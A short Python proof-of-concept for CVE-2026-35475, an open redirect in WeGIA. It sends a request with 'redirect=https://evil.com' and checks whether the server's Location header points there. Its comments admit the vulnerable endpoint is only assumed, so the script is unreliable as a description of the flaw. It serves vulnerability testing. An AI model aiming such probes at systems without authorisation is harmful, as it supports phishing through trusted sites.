CVE-2026-35475 WeGIA开放重定向漏洞

# PoC for CVE-2026-35475 (Open Redirect in WeGIA) # The vulnerable endpoint accepts a 'redirect' parameter via GET request # and uses it directly in the Location header without validation. import requests def check_open_redirect(target_url): # Malicious external site for redirection test evil_site = "https://evil.com" # Construct the payload # Assuming the vulnerable endpoint is the root or a specific page accepting redirect full_url = f"{target_url}?redirect={evil_site}" try: # Send request, do not follow redirects automatically to check the header response = requests.get(full_url, allow_redirects=False) if response.status_code == 302 or response.status_code == 301: location = response.headers.get('Location') if location and evil_site in location: print(f"[+] Vulnerability Confirmed!") print(f"[+] Server redirected to: {location}") return True print("[-] Vulnerability not detected or endpoint requires specific path.") return False except Exception as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost/wegia" # Replace with actual target check_open_redirect(target)